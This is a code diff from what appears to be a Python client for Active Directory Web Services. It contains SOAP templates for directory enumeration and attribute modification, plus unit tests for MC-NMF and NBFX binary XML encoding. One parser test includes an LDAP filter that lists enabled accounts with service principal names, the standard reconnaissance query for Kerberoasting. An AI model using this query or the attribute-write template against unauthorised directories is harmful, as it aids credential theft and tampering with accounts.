xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Pull</a:Action>
<ad:instance>ldap:389</ad:instance>
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration</a:To>
</s:Header>
<s:Body xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">
<wsen:Pull>
<wsen:EnumerationContext>{enum_ctx}</wsen:EnumerationContext>
<wsen:MaxElements>256</wsen:MaxElements>
</wsen:Pull>
</s:Body>
</s:Envelope>"""
LDAP_PUT_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://www.w3.org/2005/08/addressing"
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:da="http://schemas.microsoft.com/2006/11/IdentityManagement/DirectoryAccess">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/transfer/Put</a:Action>
<ad:instance>ldap:389</ad:instance>
<ad:objectReferenceProperty>{object_ref}</ad:objectReferenceProperty>
<da:IdentityManagementOperation s:mustUnderstand="1"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"></da:IdentityManagementOperation>
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Resource</a:To>
</s:Header>
<s:Body>
<da:ModifyRequest Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1">
<da:Change Operation="{operation}">
<da:AttributeType>{attribute}</da:AttributeType>
<da:AttributeValue>
<ad:value xsi:type="xsd:{data_type}">{value}</ad:value>
</da:AttributeValue>
</da:Change>
</da:ModifyRequest>
</s:Body>
</s:Envelope>"""
View File
+78
View File
@@ -0,0 +1,78 @@
import unittest
from io import BytesIO
from hypothesis import given
from hypothesis.strategies import integers, text
from src.encoder.records.datatypes import MultiByteInt31, Utf8String
class TestMultiByteInt31(unittest.TestCase):
def test_to_bytes_basic(self):
value = 268435456
expected_result = b"\x80\x80\x80\x80\x01"
resuilt = MultiByteInt31(value).to_bytes()
self.assertEqual(resuilt, expected_result)
def test_to_bytes_complex(self):
value = 0x3FFFFFFF
expected_result = b"\xff\xff\xff\xff\x03"
resuilt = MultiByteInt31(value).to_bytes()
self.assertEqual(resuilt, expected_result)
def test_to_int_basic(self):
value = BytesIO(b"\x80\x80\x80\x80\x01")
expected_result = 268435456
result = MultiByteInt31.parse(value).value
self.assertEqual(result, expected_result)
def test_to_int_singlebyte(self):
value = BytesIO(b"\x0a")
expected_result = 0xA
result = MultiByteInt31.parse(value).value
self.assertEqual(result, expected_result)
def test_to_int_complex(self):
value = BytesIO(b"\x0a\x78\x73\x64\x3a\x73\x74\x72\x69\x6e\x67\x99")
expected_result = 0xA
result = MultiByteInt31.parse(value).value
self.assertEqual(result, expected_result)
@given(i=integers(min_value=0x0, max_value=0xFFFFFFF))
def test_invariant(self, i):
bin_val = MultiByteInt31(i).to_bytes()
int_val = MultiByteInt31.parse(BytesIO(bin_val)).value
self.assertEqual(int_val, i)
class TestUtf8String(unittest.TestCase):
def test_to_bytes_basic(self):
value = "abc"
expected_result = b"\x03\x61\x62\x63"
result = Utf8String(value).to_bytes()
self.assertEqual(result, expected_result)
def test_to_bytes_complex(self):
value = b"\xc3\xbcber".decode("utf-8")
expected_result = b"\x05\xc3\xbcber"
result = Utf8String(value).to_bytes()
self.assertEqual(result, expected_result)
def test_to_string_basic(self):
value = b"\x03\x61\x62\x63"
expected_result = "abc"
result = Utf8String.parse(BytesIO(value)).value
self.assertEqual(result, expected_result)
def test_bytes_to_bytes(self):
value = b"\x05\xc3\xbcber"
result = Utf8String.parse(BytesIO(value))
print(result)
self.assertEqual(result.to_bytes(), value)
@given(s=text(min_size=0x0, max_size=0xFFFFFFF))
def test_invariant(self, s):
bin_val = Utf8String(s).to_bytes()
str_val = Utf8String.parse(BytesIO(bin_val)).value
self.assertEqual(str_val, s)
+166
View File
@@ -0,0 +1,166 @@
import unittest
from hypothesis import given
from hypothesis.strategies import integers, text, binary
from src.ms_nmf import (
NMFRecord,
NMFVersion,
NMFMode,
NMFVia,
NMFKnownEncoding,
NMFSizedEnvelope,
NMFEnd,
NMFFault,
NMFUpgradeRequest,
NMFUpgradeResponse,
NMFPreambleEnd,
NMFPreambleAck,
NMFPreamble,
)
class TestSizeEncoding(unittest.TestCase):
"""Testing the variable length field encoding of
[MC-NMF] record sizes.
The record size feild (payload len) is variable between
1 and 5 bytes. Or between 0x0 and 0xFFFFFFFF
"""
def test_decode_simple(self):
expected_size = 0x92
data = b'\x92\01'
size, _, _ = NMFRecord.decode_size(data)
self.assertEqual(size, expected_size)
def test_decode_three(self):
data = b'\x80\x81\x01'
expected_size = 0x4080
size, _, _ = NMFRecord.decode_size(data)
self.assertEqual(size, expected_size)
def test_decode_16(self):
data = b'\x10'
expected_size = 0x10
size, _, _ = NMFRecord.decode_size(data)
self.assertEqual(size, expected_size)
# ======= Encode Tests =========
def test_encode_simple(self):
expected_data = b'\x92\01'
size = 0x92
data = NMFRecord.encode_size(size)
self.assertEqual(data, expected_data)
def test_encode_three_bytes(self):
expected_data = b'\x80\x81\x01'
size = 0x4080
data = NMFRecord.encode_size(size)
self.assertEqual(data, expected_data)
def test_encode_16(self):
expected_data = b'\x10'
size = 0x10
data = NMFRecord.encode_size(size)
self.assertEqual(data, expected_data)
# stress test
@given(integers(min_value=0x0, max_value=0xFFFFFFFF))
def test_decoding_invariant(self, i):
self.assertEqual(NMFRecord.decode_size(NMFRecord.encode_size(i))[0], i)
class TestRecords(unittest.TestCase):
@given(v1=integers(min_value=0x0, max_value=0xff), v2=integers(min_value=0x0, max_value=0xff))
def test_version_record_invariant(self, v1, v2):
data = NMFVersion(minor_version=v1, major_version=v2).getData()
v = NMFVersion(data=data)
self.assertEqual(v['major_version'], v2)
self.assertEqual(v['minor_version'], v1)
@given(i=integers(min_value=0x0, max_value=0x4))
def test_mode_record_invariants(self, i):
data = NMFMode(mode=i).getData()
v = NMFMode(data=data)
self.assertEqual(v['mode'], i)
@given(s=text(max_size=0xFFFFFFFF))
def test_via_record_invaiant(self, s):
data = NMFVia(s).getData()
v = NMFVia(data=data)
self.assertEqual(v['via'], s)
@given(i=integers(min_value=0x0, max_value=0xff))
def test_knownencoding_record_invariant(self, i):
data = NMFKnownEncoding(i).getData()
v = NMFKnownEncoding(data=data)
self.assertEqual(v['encoding'], i)
@given(b=binary(max_size=0xffffffff))
def test_sizedenvelope_invaiant(self, b):
data = NMFSizedEnvelope(b).getData()
v = NMFSizedEnvelope(data=data)
self.assertEqual(v['payload'], b)
def test_end_record(self):
data = NMFEnd().getData()
v = NMFEnd(data=data)
self.assertEqual(v['record_type'], 0x7)
@given(s=text(max_size=0xFFFFFFFF))
def test_fault_record_invaiant(self, s):
data = NMFFault(s).getData()
v = NMFFault(data=data)
self.assertEqual(v['fault'], s)
@given(s=text(max_size=0xffffffff))
def test_upgrade_request_record_invariant(self, s):
data = NMFUpgradeRequest(s).getData()
v = NMFUpgradeRequest(data=data)
self.assertEqual(v['proto'], s)
def test_upgrade_response_record(self):
data = NMFUpgradeResponse().getData()
v = NMFUpgradeResponse(data=data)
self.assertEqual(v['record_type'], 0xA)
def test_preamble_end_record(self):
data = NMFPreambleEnd().getData()
v = NMFPreambleEnd(data=data)
self.assertEqual(v['record_type'], 0xC)
def test_preamble_ack_record(self):
data = NMFPreambleAck().getData()
v = NMFPreambleAck(data=data)
self.assertEqual(v['record_type'], 0xB)
def test_preamble_record(self):
version = (1, 1)
mode = 0x1
via = "test_via"
encoding = 0x4
data = NMFPreamble(version, mode, via, encoding).getData()
expected = NMFVersion(*version).getData()
expected += NMFMode(mode).getData()
expected += NMFVia(via).getData()
expected += NMFKnownEncoding(encoding).getData()
self.assertEqual(data, expected)
+124
View File
@@ -0,0 +1,124 @@
import unittest
from src.encoder.records import record, dump_records, print_records
from src.encoder.records.text import Chars8TextRecord
import textwrap
from io import BytesIO, StringIO
from base64 import b64decode
class TestRecord(unittest.TestCase):
def test_collect_records(self):
"""All the record types should be assembled
when the Record object is initalized
"""
r = record()
self.assertEqual(len(r.records), 150)
def test_singlton_records(self):
"""There should only be one version
of the records dictionary around for multiple
Record objects
"""
r1 = record()
r2 = record()
self.assertTrue(r1.records is r2.records)
def test_parse_bin_to_record_type(self):
value = b"A\x01a\x04test\x01"
r = record.parse(BytesIO(value))
self.assertEqual(r[0].type, 0x41)
def test_parse_bin_to_record_value(self):
value = b"A\x01a\x04test\x01"
r = record.parse(BytesIO(value))
self.assertEqual(str(r[0]), "<a:test>")
def test_parse_Chars8TextRecord_value(self):
value = b64decode("CnhzZDpzdHJpbmeZ")
expected_result = "xsd:string"
r = Chars8TextRecord.parse(BytesIO(value))
self.assertEqual(r.value, expected_result)
def test_to_int_complex2(self):
"""This caused breaking issues
by miscalculating the size of some of the elements
"""
value = b64decode(
"mAp4c2Q6c3RyaW5nmSQ0MDg5MTk4Yi00NmZkLTQyZjEtYmM1YS03NzA5ZGZlZmUzYzcBQQZhZGRhdGELZGVzY3JpcHRpb24ECkxkYXBTeW50YXiYDVVuaWNvZGVTdHJpbmdBAmFkBXZhbHVlBQN4c2kEdHlwZZg="
)
value = BytesIO(value)
value.read(1)
result = Chars8TextRecord.parse(value)
expected = "xsd:string"
self.assertEqual(result.value, expected)
class TestDumpRecords(unittest.TestCase):
def test_parse_bin_to_record_dump(self):
value = b"A\x01a\x04test\x01"
r = record.parse(BytesIO(value))
s = dump_records(r)
self.assertEqual(s, b"A\x01a\x04test\x01")
class TestPrintRecords(unittest.TestCase):
def test_dict_basic(self):
value = b"\x56\x08\x01"
expected_result = "<s:Header></s:Header>"
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(result, expected_result)
def test_dict_complex(self):
value = b"\x44\x0a\x1e\x00\x82\x99\x06\x61\x63\x74\x69\x6f\x6e"
expected_result = '<a:Action s:mustUnderstand="1">action</a:Action>'
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(result.replace("\r\n", ""), expected_result)
def test_dict_xmlns_complex(self):
value = b"\x56\x02\x0b\x01\x61\x06\x0b\x01\x73\x04\x01"
expected_result = '<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"></s:Envelope>'
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(result.replace("\r\n", ""), expected_result)
def test_basic(self):
value = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x01"
expected_result = "<Inventory></Inventory>"
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(result.replace("\r\n", ""), expected_result)
def test_zerowithend_complex(self):
value = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81"
expected_result = "<Inventory>0</Inventory>"
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(result.replace("\r\n", ""), expected_result)
def test_xmlns_large_complex(self):
self.maxDiff = None
value = b"V\x02\x0b\x01a\x06\x0b\x01s\x04V\x08D\n\x1e\x00\x82\x99\x06action\x01V\x0e@\tInventory\x81\x01\x01"
expected_result = """<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Header><a:Action s:mustUnderstand="1">action</a:Action></s:Header><s:Body><Inventory>0</Inventory></s:Body></s:Envelope>"""
r = record.parse(BytesIO(value))
result = print_records(r)
self.assertEqual(textwrap.dedent(result), textwrap.dedent(expected_result))
+102
View File
@@ -0,0 +1,102 @@
from src.encoder import XMLParser
from src.encoder.records import dump_records, print_records
import unittest
class TestXMLParserText(unittest.TestCase):
def test_parse_simple(self):
value = "<s:Header></s:Header>"
r = XMLParser.parse(value)
s = print_records(r)
self.assertEqual(s, value)
def test_parse_basic_case(self):
value = "<s:Envelope><b:Body></b:Body></s:Envelope>"
r = XMLParser.parse(value)
s = print_records(r)
self.assertEqual(s, value)
def test_parse_attribute_basic(self):
value = '<wsen:Filter Dialect="http://schemas.LdapQuery"></wsen:Filter>'
r = XMLParser.parse(value)
s = print_records(r)
self.assertEqual(s, value)
def test_parse_complex(self):
value = "<adlq:filter>(&(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))</adlq:filter>"
r = XMLParser.parse(value)
s = print_records(r)
self.assertEqual(s, value)
class TestXMLParserBinary(unittest.TestCase):
def test_bin_dict_basic(self):
value = "<s:Header></s:Header>"
expected_result = b"\x56\x08\x01"
r = XMLParser.parse(value)
result = dump_records(r)
self.assertEqual(result, expected_result)
def test_bin_dict_complex(self):
value = '<a:Action s:mustUnderstand="1">action</a:Action>'
expected_result = b"\x44\x0a\x1e\x00\x82\x99\x06\x61\x63\x74\x69\x6f\x6e"
r = XMLParser.parse(value)
result = dump_records(r)
self.assertEqual(result, expected_result)
def test_bin_dict_complex2(self):
"""
These are complex cases, see [MC-NBFX]: 2.2.3.31
"""
value = "<Inventory>0</Inventory>"
expected_result = b"\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81"
r = XMLParser.parse(value)
result = dump_records(r)
self.assertEqual(result, expected_result)
def test_bin_dict_complex3(self):
"""
These are complex cases, see [MC-NBFX]: 2.2.3.31
"""
value = "<s:Body><Inventory>0</Inventory></s:Body>"
expected_result = (
b"\x56\x0e\x40\x09\x49\x6e\x76\x65\x6e\x74\x6f\x72\x79\x81\x01"
)
r = XMLParser.parse(value)
result = dump_records(r)
self.assertEqual(result, expected_result)
def test_bin_complex(self):
"""
These are complex cases, see [MC-NBFX]: 2.2.3.31
"""
self.maxDiff = None
value = """<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing"
xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Header>
<a:Action s:mustUnderstand="1">action</a:Action>
</s:Header>
<s:Body>
<Inventory>0</Inventory>
</s:Body>
</s:Envelope>"""
expected_result = b"V\x02\x0b\x01a\x06\x0b\x01s\x04V\x08D\n\x1e\x00\x82\x99\x06action\x01V\x0e@\tInventory\x81\x01\x01"
r = XMLParser.parse(value)
result = dump_records(r)
self.assertEqual(result, expected_result)